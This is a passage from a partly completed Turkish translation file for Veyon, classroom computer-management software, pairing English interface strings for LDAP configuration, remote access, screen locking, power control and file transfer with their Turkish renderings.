yapılandırmasını yönetmek için komutlar + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + %1 Hizmeti için kendiliğinden başlatma özelliği değiştirilemedi. + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + %1 Tanıtımı + + + + DemoConfigurationPage + + Demo server + Tanıtım sunucusu + + + Tunables + Ayarlanabilir + + + ms + ms + + + Key frame interval + Anahtar çerçeve aralığı + + + Memory limit + Bellek sınırı + + + Use multithreading (experimental) + Çoklu iş parçacığı kullanımı (deneysel) + + + MB + MB + + + Update interval + Güncelleme aralığı + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Tam ekran kipinde tanıtım + + + Stop demo + Tanıtımı durdur + + + Window demo + Pencere kipinde gösterim + + + Give a demonstration by screen broadcasting + Ekran yayını ile bir tanıtım gerçekleştir + + + Demo server + Tanıtım sunucusu + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + Bu kipte, kullanıcıların giriş aygıtları kilitlenirken ekranınız tüm bilgisayarlarda tam ekran kipinde görüntülenir. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + Bu kipte, ekranınız tüm bilgisayarlarda bir pencerede görüntülenir. Kullanıcılar, gerektiğinde diğer pencerelere geçiş yapabilirler. + + + + DesktopAccessDialog + + Desktop access dialog + Masaüstü erişim iletişim penceresi + + + Confirm desktop access + Masaüstü erişimini onayla + + + Never for this session + Bu oturum için asla + + + Always for this session + Bu oturum için her zaman + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + %2 bilgisayarındaki %1 kullanıcısı masaüstünüze erişmek istiyor. İzin vermek ister misiniz? + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Ad + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + Program çalıştır + + + Open website + Web sitesi aç + + + Click this button to open a website on all computers. + Tüm bilgisayarlarda bir web sitesi açmak için bu düğmeye tıklayın. + + + Please enter the URL of the website to open: + Lütfen açılacak web sitesinin URL'sini girin: + + + Start programs and services in user desktop + Kullanıcı masaüstünde program ve hizmetler başlat + + + Click this button to run a program on all computers. + Tüm bilgisayarlarda bir program çalıştırmak için bu düğmeye tıklayın. + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + Harici VNC sunucu + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Harici VNC sunucu yapılandırması + + + Port: + Bağlantı noktası: + + + Password: + Parola: + + + + FeatureControl + + Feature control + Özellik denetimi + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Kullanıcı arayüzü + + + Language: + Dil: + + + Use system language setting + Sistem dil ayarını kullan + + + Veyon + Veyon + + + Logging + Günlükleme + + + Log file directory + Günlük dosyası dizini + + + ... + ... + + + Log level + Günlükleme düzeyi + + + Nothing + Hiçbir şey + + + Only critical messages + Yalnızca ciddi iletiler + + + Errors and critical messages + Hatalar ve ciddi iletiler + + + Warnings and errors + Uyarılar ve hatalar + + + Information, warnings and errors + Bilgi, uyarılar ve hatalar + + + Debug messages and everything else + Hata ayıklama iletileri ve diğer her şey + + + Limit log file size + Günlük dosya boyutunu sınırla + + + Clear all log files + Tüm günlük dosyalarını temizle + + + Log to standard error output + Standart hata çıktısına günlükle + + + Network object directory + Ağ nesnesi dizini + + + Backend: + Arka uç: + + + Update interval: + Güncelleme aralığı: + + + %1 service + %1 hizmeti + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Günlük dosyalarının kaldırılması için %1 hizmetinin geçici olarak durdurulması gerekiyor. Devam et? + + + Log files cleared + Günlük dosyaları temizlendi + + + All log files were cleared successfully. + Tüm günlük dosyaları başarıyla temizlendi. + + + Error + Hata + + + Could not remove all log files. + Tüm günlük dosyaları silinemedi. + + + MB + MB + + + Rotate log files + Günlük dosyalarını döndür + + + x + x + + + seconds + saniye + + + Write to logging system of operating system + İşletim sisteminin günlükleme sistemine yaz + + + Authentication + Kimlik + + + Method: + + + + Logon authentication + Oturum açma yetkilendirmesi + + + Key file authentication + Anahtar dosya yetkilendirmesi + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + Arka uç: + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + Komut hakkında bilgi göster + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + LDAP hata açıklaması: %1 + + + No LDAP error description available + Uygun LDAP hata açıklaması yok + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Basit ayarlar + + + General + Genel + + + LDAP server and port + LDAP sunucusu ve bağlantı noktası + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Sına + + + Base DN + Temel DN + + + Fixed base DN + Durağan temel DN + + + e.g. dc=example,dc=org + örn. dc=ornek,dc=org + + + Discover base DN by naming context + Temel DN'yi adlandırma bağlamına göre keşfet + + + e.g. namingContexts or defaultNamingContext + örn. namingContexts veya defaultNamingContext + + + Environment settings + Ortam ayarları + + + Object trees + Nesne ağaçları + + + Computer tree + Bilgisayar ağacı + + + e.g. OU=Groups + örn. OU=Kümeler + + + User tree + Kullanıcı ağacı + + + e.g. OU=Users + örn. OU=Kullanıcılar + + + e.g. OU=Computers + örn. OU=Bilgisayarlar + + + Group tree + Küme ağacı + + + Perform recursive search operations in object trees + Nesne ağaçlarında özyinelemeli arama işlemleri gerçekleştir + + + Object attributes + Nesne öznitelikleri + + + e.g. hwAddress + örn. hwAddress + + + Computer host name attribute + Bilgisayar ana makine adı özniteliği + + + e.g. member or memberUid + örn. member veya memberUid + + + User login attribute + Kullanıcı giriş özniteliği + + + e.g. dNSHostName + örn. dNSHostName + + + Computer MAC address attribute + Bilgisayar MAC adresi özniteliği + + + Group member attribute + Küme üyesi özniteliği + + + e.g. uid or sAMAccountName + örn. uid veya sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Ana makine adları, tam nitelikli alan adları (FQDN, örn. makinem.ornek.org) olarak depolandı. + + + Advanced settings + Gelişmiş ayarlar + + + Optional object filters + İsteğe bağlı nesne süzgeçleri + + + Filter for user groups + Kullanıcı kümeleri için süzgeç + + + Filter for users + Kullanıcılar için süzme + + + Filter for computer groups + Bilgisayar kümeleri için süzme + + + Group member identification + Küme üyesi kimliği + + + Distinguished name (Samba/AD) + Ayırt edilen ad (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Kullanıcı girişi veya bilgisayar ana makine adı için yapılandırılmış öznitelik (OpenLDAP) + + + List all groups of a user + Kullanıcının tüm kümelerini listele + + + List all groups of a computer + Bilgisayarın tüm kümelerini listele + + + Get computer object by IP address + IP adresiyle bilgisayar nesnesi al + + + LDAP connection failed + LDAP bağlantısı başarısız + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + LDAP temel DN sınaması başarısız + + + LDAP base DN test successful + LDAP temel DN sınaması başarılı + + + LDAP naming context test failed + LDAP adlandırma bağlamı sınaması başarısız + + + LDAP naming context test successful + LDAP adlandırma bağlamı sınaması başarılı + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + LDAP adlandırma bağlamı başarıyla sorgulandı. Şu temel DN bulundu: +%1 + + + user tree + kullanıcı ağacı + + + group tree + küme ağacı + + + computer tree + bilgisayar ağacı + + + Enter username + Kullanıcı adı gir + + + Please enter a user login name (wildcards allowed) which to query: + Sorgulanacak kullanıcı giriş adını (joker karakterlere izin verilir) girin: + + + user objects + kullanıcı nesneleri + + + user login attribute + kullanıcı giriş özniteliği + + + Enter group name + Küme adı gir + + + Please enter a group name whose members to query: + Üyeleri sorgulanacak küme adını girin: + + + group members + küme üyeleri + + + group member attribute + küme üyesi özniteliği + + + Group not found + Küme bulunamadı + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + "%1" adlı bir küme bulunamadı.. Lütfen küme adını veya küme ağacı parametresini gözden geçirin. + + + Enter computer name + Bilgisayar adı gir + + + Please enter a computer host name to query: + Lütfen sorgulanacak bir bilgisayar ana makine adı girin: + + + Invalid host name + Geçersiz ana makine adı + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Bilgisayar ana makine adlarını, tam nitelikli alan adlarıyla (FQDN) depolanmasını ayarladınız ancak ana makine adını alan adı olmadan girdiniz. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Bilgisayar ana makine adlarınını, alan adsız yalın ana makine adıyla depolanmasını ayarladınız. Ancak alan adı bölümü olan bir ana makine adı girdiniz. + + + computer objects + bilgisayar nesneleri + + + computer host name attribute + bilgisayar ana makine adı özniteliği + + + Enter computer DN + Bilgisayar DN'sini gir + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + bilgisayar MAC adresleri + + + computer MAC address attribute + bilgisayar MAC adresi özniteliği + + + users + kullanıcılar + + + user groups + kullanıcı kümeleri + + + computer groups + bilgisayar kümeleri + + + Please enter a user login name whose group memberships to query: + Küme üyelikleri sorgulanacak kullanıcı giriş adı girin: + + + groups of user + kullanıcı kümeleri + + + user login attribute or group membership attribute + kullanıcı giriş özniteliği veya küme üyeliği özniteliği + + + User not found + Kullanıcı bulunamadı + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + "%1" adlı bir kullanıcı bulunamadı. Lütfen kullanıcı adını veya kullanıcı ağacı parametresini gözden geçirin. + + + Enter host name + Ana makine adı gir + + + Please enter a computer host name whose group memberships to query: + Küme üyelikleri sorgulanacak bilgisayar ana makine adını girin: + + + groups of computer + bilgisayar kümeleri + + + computer host name attribute or group membership attribute + bilgisayar ana makine adı özniteliği veya küme üyeliği özniteliği + + + Computer not found + Bilgisayar bulunamadı + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + "%1" ana makine adlı bir bilgisayar bulunamadı. Lütfen ana makine adını veya bilgisayar ağacı parametresini gözden geçirin. + + + Enter computer IP address + Bilgisayar IP adresi gir + + + Please enter a computer IP address which to resolve to an computer object: + Bilgisayar nesnesine çıkan bir bilgisayar IP adresi girin: + + + Host name lookup failed + Ana makine adı bulma başarısız + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + %1 IP adresi için ana makine adı bulunamıyor. Lütfen DNS sunucusu ayarlarınızı gözden geçirin. + + + computers + bilgisayarlar + + + LDAP %1 test failed + LDAP %1 sınaması başarısız + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Yapılandırılmış %1'de hiçbir girdi sorgulanamadı. Lütfen %1 parametresini gözden geçirin. + +%2 + + + LDAP %1 test successful + LDAP %1 sınaması başarılı + + + The %1 has been queried successfully and %2 entries were found. + %1 sorgulandı ve %2 girdi bulundu. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Herhangi bir %1 sorgulanamadı. Lütfen %2 parametresini gözden geçirin veya var olan bir nesnenin adını girin. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 başarıyla sorgulandı. + +%3 + + + LDAP filter test failed + LDAP süzgeç sınaması başarısız + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Yapılandırılmış süzgeç kullanılarak herhangi bir %1 sorgulanamadı. Lütfen %1 için LDAP süzgecini denetleyin. + +%2 + + + LDAP filter test successful + LDAP süzgeç sınaması başarılı + + + %1 %2 have been queried successfully using the configured filter. + Yapılandırılmış süzgeç kullanılarak %1 %2 başarıyla sorgulandı. + + + (only if different from group tree) + (eğer yalnızca küme ağacından farklıysa) + + + Computer group tree + Bilgisayar kümesi ağacı + + + computer group tree + bilgisayar kümesi ağacı + + + Filter for computers + + + + e.g. room or computerLab + örn. room veya computerLab + + + List all members of a computer room + Bir bilgisayar odasının tüm üyelerini listele + + + List all computer rooms + Tüm bilgisayar odalarını listele + + + Enter computer room name + Bilgisayar odası adı gir + + + Please enter the name of a computer room (wildcards allowed): + Lütfen bilgisayar odasının adını girin (joker karakterler kullanılabilir): + + + computer rooms + bilgisayar odaları + + + computer room attribute + bilgisayar odası özniteliği + + + Please enter the name of a computer room whose members to query: + Üyeleri sorgulanacak bilgisayar odası adını girin: + + + computer room members + bilgisayar odası üyeleri + + + computer group filter or computer room member aggregation + bilgisayar kümesi süzgeci veya bilgisayar odası üye yığını + + + Computer rooms + Bilgisayar odaları + + + Integration tests + Tümleştirme sınamaları + + + Computer room attribute + Bilgisayar odası öznitelikleri + + + Aggregate computers in a room via: + Odadaki bilgisayarları şununla kümele: + + + Computer groups + Bilgisayar kümeleri + + + Computer room attribute in computer objects + + + + Test not applicable + Sınama uygulanmaz + + + Computer room name attribute + Bilgisayar odası adı özniteliği + + + e.g. name or description + örn. ad ve tanımlama + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + Sertifika dosyaları (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + LDAP sunucusuna bağlanılamadı. Lütfen sunucu parametrelerini gözden geçirin. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + Şifreleme iletişim kuralı + + + + LdapPlugin + + Auto-configure the base DN via naming context + Temel DN'yi adlandırma bağlamı aracılığıyla kendiliğinden yapılandır + + + Query objects from LDAP directory + LDAP dizininden nesneleri sorgula + + + Show help about command + Komut hakkında bilgi göster + + + Commands for configuring and testing LDAP/AD integration + LDAP/AD tümelemesini yapılandırmak ve sınamak için komutlar + + + Provide LDAP/AD integration for Veyon + Veyon için LDAP/AD tümleşmesi sağla + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (bilgisayarları ve odaları LDAP/AD'den yükle) + + + LDAP (load users and groups from LDAP/AD) + LDAP (kullanıcıları ve kümeleri LDAP/AD'den yükle) + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + Komutlar için yardım göster + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Eklenti, Linux platformu için soyut işlevleri yerine getirir + + + + MainToolBar + + Configuration + Yapılandırma + + + Disable balloon tooltips + Balon iouçlarını devre dışı bırak + + + Show icons only + Yalnızca simgeleri göster + + + + MainWindow + + MainWindow + Ana Pencere + + + toolBar + Araç çubuğu + + + General + Genel + + + &File + Dosya + + + &Help + Yardım + + + &Quit + Çıkış + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Ayarları d&osyadan yükle + + + Ctrl+O + Ctrl+O + + + About Qt + Qt Hakkında + + + Authentication impossible + Kimlik doğrulama imkansız + + + Configuration not writable + Yapılandırma yazılabilir değil + + + Load settings from file + Ayarları dosyadan yükle + + + Save settings to file + Ayarları dosyaya kaydet + + + Unsaved settings + Kaydedilmemiş ayarlar + + + There are unsaved settings. Quit anyway? + Kaydedilmemiş ayarlar var. Yine de çıkmak istiyor musunuz? + + + Veyon Configurator + Veyon Yapılandırıcı + + + Service + Hizmet + + + Master + + + + Access control + Erişim denetimi + + + About Veyon + Veyon Hakkında + + + Auto + Kendiliğinden + + + Computer rooms + Bilgisayar odaları + + + About + Hakkında + + + %1 Configurator %2 + %1 Yapılandırıcı %2 + + + JSON files (*.json) + JSON dosyaları (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Yerel yapılandırma arka ucu, yapılandırmanın yazılabilir olmadığını bildirdi! Lütfen %1 Yapılandırıcıyı yüksek ayrıcalıklarla çalıştırın. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Yetkilendirme anahtar dosyaları yok veya var olanlar geçersiz. Lütfen, %1 Yapılandırıcı kullanarak yeni anahtar dosyalar oluşturun. Diğer bir seçenek olarak, %1 Yapılandırıcıyı kullanarak giriş yetkilendirmesini ayarlayın. Bunu dışında %1 kullanarak bilgisayarlara erişemezsiniz. + + + Access denied + Erişim reddedildi + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Yerel yapılandırmaya göre, ağdaki bilgisayarlara erişim izniniz yok. Lütfen başka bir hesapla giriş yapın veya sistem yöneticinizin yerel yapılandırmayı gözden geçirmesini isteyin. + + + Screenshots + Ekran görüntüleri + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + "%1" özelliği hala etkin. Lütfen %2'yi kapatmadan önce durdurun. + + + Reset configuration + Ayarları sıfırla + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Yerel yapılandırmayı sıfırlamak ve tüm ayarları öntanımlılarına geri döndürmek istediğinize emin misiniz? + + + Search users and computers + Kullanıcı ve bilgisayarları ara + + + Adjust optimal size + En uygun boyuta ayarla + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + %1 Yapılandırıcı + + + Insufficient privileges + Yetersiz öncelikler + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Yönetici öncelikleriyle başlatılamıyor. Lütfen masaüstü ortamınız için sudo benzeri programın kurulu olduğundan emin olun! Program sıradan kullanıcı öncelikleriyle çalışacak. + + + Only show powered on computers + Yalnızca gücü açık bilgisayarları göster + + + &Save settings to file + Ayarları dosyaya &kaydet + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Dizinler + + + ... + ... + + + User configuration + Kullanıcı yapılandırması + + + Feature on computer double click: + + + + Automatically switch to current room at start + Geçerli odaya başlangıçta kendiliğindenn geç + + + Features + Özellikler + + + All features + Tüm özellikler + + + Disabled features + Devre dışı özellikler + + + Perform access control at program start + Başlangıçta erişim denetimi yap + + + Screenshots + Ekran görüntüleri + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + Bilgisayar küçük resmini başlangıçta kendiliğinden uyarla + + + Basic settings + Temel ayarlar + + + Behaviour + Davranış + + + Enforce selected mode for client computers + İstemci bilgisayarları seçilen kipe zorla + + + Only show current room + Yalnızca geçerli odayı göster + + + Allow adding rooms manually + Elle oda eklemeye izin ver + + + Hide local computer + Tüm bilgisayarları gizle + + + Hide empty rooms + Tüm odaları gizle + + + Hide computer filter field + Bilgisayar süzme alanını gizle + + + Actions such as rebooting or powering down computers + Bilgisayarları yeniden başlatma veya kapatma eylemleri gibi + + + Show confirmation dialog for potential dangerous actions + Olası tehlikeli eylemler için onaylama penceresi göster + + + User interface + Kullanıcı arayüzü + + + Background color + Arka plan rengi + + + Thumbnail update interval + Küçük resim güncelleme aralığı + + + ms + ms + + + Program start + + + + Modes and features + + + + User and computer name + Kullanıcı ve bilgisayar adı + + + Only user name + Yalnızca kullanıcı adı + + + Only computer name + Yalnızca bilgisayar adı + + + Computer thumbnail caption + Bilgisayar küçük resminin açıklaması + + + Computer rooms + Bilgisayar odaları + + + Automatically open computer rooms widget + Bilgisayar odaları parçacığını kendiliğinden aç + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + Gözlemleme + + + Builtin monitoring mode + Dahili gözlemleme kipi + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Bu öntanımlı kiptir ve tüm bilgisayarları tek veya birden çok odada gözlemlemenizi sağlar. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Sına + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + Komutlar için yardım göster + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + Oda/Bilgisayar + + + + PasswordDialog + + Username + Kullanıcı adı + + + Password + Parola + + + Veyon Logon + Veyon Girişi + + + Authentication error + Yetkilendirme hatası + + + Logon failed with given username and password. Please try again! + Verilen kullanıcı adı ve parola ile giriş başarısız. Lütfen yeniden deneyin! + + + Please enter your username and password in order to access computers. + Lütfen bilgisayarlara erişmek için kullanıcı adı ve parolanızı girin. + + + + PowerControlFeaturePlugin + + Power on + Sistemi aç + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Tüm bilgisayarları açmak için bu düğmeye tıklayın. Bu yolla, her bilgisayarı elle açmanıza gerek kalmaz. + + + Reboot + Yeniden başlat + + + Click this button to reboot all computers. + Tüm bilgisayarları yeniden başlatmak için bu düğmeye tıklayın. + + + Power down + Sistemi kapat + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Tüm bilgisayarları kapatmak için bu düğmeye tıklayın. Bu yolla, her bilgisayarı elle kapatmanıza gerek kalmaz. + + + Power on/down or reboot a computer + Bir bilgisayarı aç/kapat veya yeniden başlat + + + Confirm reboot + Yeniden başlatmayı onayla + + + Confirm power down + Sistemi kapatmayı onayla + + + Do you really want to reboot the selected computers? + Seçilen bilgisayarları yeniden başlatmak istediğinize emin misiniz? + + + Do you really want to power down the selected computer? + Seçilen bilgisayarları kapatmak istediğinize emin misiniz? + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + Uzaktan görüntüle + + + Open a remote view for a computer without interaction. + Etkileşim olmadan bir bilgisayarı uzaktan görüntüle. + + + Remote control + Uzaktan denetim + + + Open a remote control window for a computer. + Bir bilgisayar için uzaktan yönetim denetimi aç. + + + Remote access + Uzaktan erişim + + + Remote view or control a computer + Bilgisayarı uzaktan görüntüle veya denetle + + + Please enter the hostname or IP address of the computer to access: + Bilgisayara erişim için lütfen bir ana makine adı veya IP adresi giriniz: + + + Show help about command + Komut hakkında bilgi göster + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Yalnızca izle + + + Remote control + Uzaktan denetim + + + Send shortcut + Kısayol gönder + + + Fullscreen + Tam ekran + + + Window + Pencere + + + Quit + Çık + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menü + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + %1 bağlanıyor + + + Connected. + Bağlandı. + + + Screenshot + Ekran görüntüsü + + + + RoomSelectionDialog + + Room selection + Oda seçimi + + + enter search filter... + arama süzgeci gir... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Lütfen seçilen bilgisayar(lar)da çalıştırılacak programları veya komutları girin. Birden çok program/komut satır ile ayrılabilir. + + + Run programs + Program çalıştır + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + örnek. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Kilitle + + + Unlock + Kilidi kaldır + + + Lock screen and input devices of a computer + Bir bilgisayarın giriş aygıtlarını ve ekranını kilitle + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Tüm kullanıcının dikkatini toplamak için bilgisayarlarını bu düğmeyi kullanarak kilitleyebilirsiniz. Bu kipte tüm giriş aygıtları kilitlenir ve ekranlar karartılır. + + + + Screenshot + + unknown + bilinmeyen + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + % 1 dizini olmadığı ve oluşturulamadığı için bir ekran görüntüsü alınamadı. + + + Screenshot + Ekran görüntüsü + + + + ScreenshotFeaturePlugin + + Screenshot + Ekran görüntüsü + + + Use this function to take a screenshot of selected computers. + Seçilen bilgisayarların ekran görüntüsünü almak için bu işlevi kullan. + + + Screenshots taken + Ekran görüntüleri alındı + + + Screenshot of %1 computer have been taken successfully. + %1 bilgisayarının ekran görüntüsü başarıyla alındı. + + + Take screenshots of computers and save them locally. + Bilgisayarların ekran görüntülerini al ve yerel olarak kaydet. + + + + ScreenshotManagementView + + User: + Kullanıcı: + + + Date: + Tarih: + + + Time: + Zaman: + + + Show + Göster + + + Delete + Sil + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Sizin tarafınızdan alınan tüm ekran görüntüleri burada listelenmiştir. Bir bilgisayarın sağ tuş menüsünde "ekran görüntüsü" ögesini tıklayarak ekran görüntülerini alabilir. Aşağıdaki düğmeler kullanılarak ekran görüntüleri yönetilebilir. + + + Computer: + Bilgisayar: + + + + ServiceConfigurationPage + + General + Genel + + + Autostart + Kendiliğinden başlat + + + Hide tray icon + Tepsi simgesini gizle + + + Start service + Hizmeti başlat + + + Stopped + Durduruldu + + + Stop service + Hizmeti durdur + + + State: + Durum: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Ağ + + + Demo server port + Tanıtım sunucusu bağlantı noktası + + + Enable firewall exception + Güvenlik duvarı özel durumu etkinleştir + + + Allow connections from localhost only + Yalnızca yerel sunucu bağlantılarına izin ver + + + Internal VNC server port + Dahili VNC sunucu bağlantı noktası + + + VNC server + VNC sunucusu + + + Plugin: + Eklenti: + + + Restart %1 Service + %1 Hizmetini Yeniden Başlat + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Tüm ayarlar başarıyla kaydedildi. Ayarların geçerli olması için %1 hizmetinin yeniden başlatılması gerekiyor. Şimdi yeniden başlatılsın mı? + + + Running + Çalışıyor + + + Feature manager port + Özellik yöneticisi bağlantı noktası + + + Primary service port + Birincil hizmet bağlantı noktası + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + Hizmet çalışıyor + + + Service is not running + Hizmet çalışmıyor + + + Configure and control Veyon service + Veyon hizmetini ayarla ve denetle + + + Register Veyon Service + Veyon Hizmetini Kaydet + + + Unregister Veyon Service + Veyon Hizmetinin Kaydını Kaldır + + + Start Veyon Service + Veyon Hizmetini Başlat + + + Stop Veyon Service + Veyon Hizmetini Durdur + + + Restart Veyon Service + Veyon Hizmetini Yeniden Başlat + + + Query status of Veyon Service + Veyon Hizmetinin sorgu durumu + + + Commands for configuring and controlling Veyon Service + Veyon Hizmetini yapılandırmak ve denetlemek 